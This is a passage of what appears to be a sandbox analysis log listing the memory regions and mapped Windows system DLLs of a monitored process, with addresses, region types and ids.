0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 8503 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 8504 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 8505 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 8506 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 8507 start_va = 0x1d860000 end_va = 0x1d86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d860000" filename = "" Region: id = 8508 start_va = 0x1d870000 end_va = 0x1d896fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d870000" filename = "" Region: id = 8509 start_va = 0x1d870000 end_va = 0x1d896fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d870000" filename = "" Region: id = 8510 start_va = 0x1d870000 end_va = 0x1d896fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d870000" filename = "" Region: id = 8511 start_va = 0x1d870000 end_va = 0x1d896fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d870000" filename = "" Region: id = 8512 start_va = 0x1d870000 end_va = 0x1d896fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d870000" filename = "" Region: id = 8513 start_va = 0x1d870000 end_va = 0x1d896fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d870000" filename = "" Region: id = 8514 start_va = 0x1d870000 end_va = 0x1d896fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d870000" filename = "" Region: id = 8515 start_va = 0x1d870000 end_va = 0x1d896fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d870000" filename = "" Region: id = 8516 start_va = 0x1d870000 end_va = 0x1d896fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d870000" filename = "" Region: id = 8517 start_va = 0x1d870000 end_va = 0x1d896fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d870000" filename = "" Region: id = 8518 start_va = 0x1d870000 end_va = 0x1d896fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d870000" filename = "" Region: id = 8519 start_va = 0x1d870000 end_va = 0x1d896fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d870000" filename = "" Region: id = 8520 start_va = 0x1d870000 end_va = 0x1d896fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d870000" filename = "" Region: id = 8521 start_va = 0x1d870000 end_va = 0x1d896fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d870000" filename = "" Region: id = 8522 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8523 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8524 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8525 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8526 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8527 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8528 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8529 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8530 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8531 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8534 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8535 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8536 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8537 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8538 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8539 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8540 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8541 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8542 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8543 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8544 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8545 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8546 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8547 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8548 start_va = 0x1b8c0000 end_va = 0x1b8e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8550 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 8551 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 8552 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 8553 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8554 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8555 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8556 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8557 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8558 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8559 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8560 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8561 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8e0000" filename = "" Region: id = 8562 start_va = 0x1b8f0000 end_va = 0x1b8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8f0000" filename = "" Region: id = 8563 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8564 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8565 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 8566 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 8567 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 8568 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8569 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8570 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8571 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8572 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8573 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8574 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8575 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8576 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8577 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8578 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8581 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8582 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8583 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8584 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8585 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8586 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8587 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8588 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8589 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8590 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8591 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8592 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8593 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8594 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8595 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8596 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8597 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8598 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8599 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8600 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8601 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8602 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8603 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8604 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8606 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8607 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8608 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8609 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8610 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8d0000" filename = "" Region: id = 8611 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8612 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8613 start_va = 0x1d850000 end_va = 0x1d876fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d850000" filename = "" Region: id = 8614 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb50000" filename = "" Region: id = 8615 start_va = 0x1d850000 end_va = 0x1d876fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d850000" filename = "" Region: id = 8616 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb60000" filename = "" Region: id = 8617 start_va = 0x1d850000 end_va = 0x1d876fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d850000" filename = "" Region: id = 8618 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb90000" filename = "" Region: id = 8619 start_va = 0x1d850000 end_va = 0x1d876fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d850000" filename = "" Region: id = 8620 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d7e0000" filename = "" Region: id = 8621 start_va = 0x1d850000 end_va = 0x1d876fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d850000" filename = "" Region: id = 8622 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d850000" filename = "" Region: id = 8623 start_va = 0x1d860000 end_va = 0x1d886fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d860000" filename = "" Region: id = 8624 start_va = 0x1d860000 end_va = 0x1d886fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d860000" filename = "" Region: id = 8628 start_va = 0x1dc80000 end_va = 0x1dd7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc80000" filename = "" Region: id = 8629 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 8630 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 8631 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 8632 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8633 start_va = 0x1d860000 end_va = 0x1d886fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d860000" filename = "" Region: id = 8634 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8e0000" filename = "" Region: id = 8635 start_va = 0x1d860000 end_va = 0x1d886fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d860000" filename = "" Region: id = 8636 start_va = 0x1b8f0000 end_va = 0x1b8fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8f0000" filename = "" Region: id = 8637 start_va = 0x1d860000 end_va = 0x1d886fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d860000" filename = "" Region: id = 8638 start_va = 0x1d860000 end_va = 0x1d886fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d860000" filename = "" Region: id = 8639 start_va = 0x1d860000 end_va = 0x1d886fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d860000" filename = "" Region: id = 8640 start_va = 0x1ba10000 end_va = 0x1ba13fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8641 start_va = 0x7ffa6df40000 end_va = 0x7ffa6df4bfff monitored = 0 entry_point = 0x7ffa6df435c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 8642 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8644 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8645 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8646 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8647 start_va = 0x7ffa59190000 end_va = 0x7ffa591e2fff monitored = 0 entry_point = 0x7ffa591bab30 region_type = mapped_file name = "msdtcuiu.dll" filename = "\\Windows\\System32\\msdtcuiu.dll" (normalized: "c:\\windows\\system32\\msdtcuiu.dll") Region: id = 8648 start_va = 0x1d860000 end_va = 0x1d861fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d860000" filename = "" Region: id = 8649 start_va = 0x7ffa6d6f0000 end_va = 0x7ffa6d70dfff monitored = 0 entry_point = 0x7ffa6d6f3a40 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 8651 start_va = 0x1d870000 end_va = 0x1d87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d870000" filename = "" Region: id = 8652 start_va = 0x7ffa59120000 end_va = 0x7ffa59189fff monitored = 0 entry_point = 0x7ffa5914e410 region_type = mapped_file name = "mtxclu.dll" filename = "\\Windows\\System32\\mtxclu.dll" (normalized: "c:\\windows\\system32\\mtxclu.dll") Region: id = 8653 start_va = 0x7ffa6e810000 end_va = 0x7ffa6e8b2fff monitored = 0 entry_point = 0x7ffa6e812c10 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 8654 start_va = 0x7ffa6e8c0000 end_va = 0x7ffa6e911fff monitored = 0 entry_point = 0x7ffa6e8c5770 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 8655 start_va = 0x7ffa78010000 end_va = 0x7ffa78036fff monitored = 0 entry_point = 0x7ffa78020aa0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 8656 start_va = 0x7ffa77fd0000 end_va = 0x7ffa78009fff monitored = 0 entry_point = 0x7ffa77fd8d20 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 8657 start_va = 0x7ffa59040000 end_va = 0x7ffa5911cfff monitored = 0 entry_point = 0x7ffa590bd590 region_type = mapped_file name = "msdtcprx.dll" filename = "\\Windows\\System32\\msdtcprx.dll" (normalized: "c:\\windows\\system32\\msdtcprx.dll") Region: id = 8658 start_va = 0x7ffa71160000 end_va = 0x7ffa7116afff monitored = 0 entry_point = 0x7ffa711624e0 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 8659 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8660 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8661 start_va = 0x7ffa75800000 end_va = 0x7ffa759b0fff monitored = 0 entry_point = 0x7ffa758961a0 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 8662 start_va = 0x7ffa744f0000 end_va = 0x7ffa74505fff monitored = 0 entry_point = 0x7ffa744f1b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8664 start_va = 0x1d870000 end_va = 0x1d87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d870000" filename = "" Region: id = 8665 start_va = 0x1d880000 end_va = 0x1d88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d880000" filename = "" Region: id = 8666 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8667 start_va = 0x1d870000 end_va = 0x1d87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d870000" filename = "" Region: id = 8668 start_va = 0x1d880000 end_va = 0x1d88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d880000" filename = "" Region: id = 8669 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8671 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8672 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8673 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8674 start_va = 0x1b910000 end_va = 0x1b91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b910000" filename = "" Region: id = 8675 start_va = 0x1b920000 end_va = 0x1b92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b920000" filename = "" Region: id = 8676 start_va = 0x1b930000 end_va = 0x1b93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b930000" filename = "" Region: id = 8677 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8678 start_va = 0x7ffa708c0000 end_va = 0x7ffa708d1fff monitored = 0 entry_point = 0x7ffa708c3580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 8679 start_va = 0x7ffa778b0000 end_va = 0x7ffa778bbfff monitored = 0 entry_point = 0x7ffa778b27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8680 start_va = 0x1b930000 end_va = 0x1b930fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b930000" filename = "" Region: id = 8681 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8683 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8684 start_va = 0x1b910000 end_va = 0x1b91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b910000" filename = "" Region: id = 8685 start_va = 0x1b920000 end_va = 0x1b92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b920000" filename = "" Region: id = 8686 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8687 start_va = 0x1b950000 end_va = 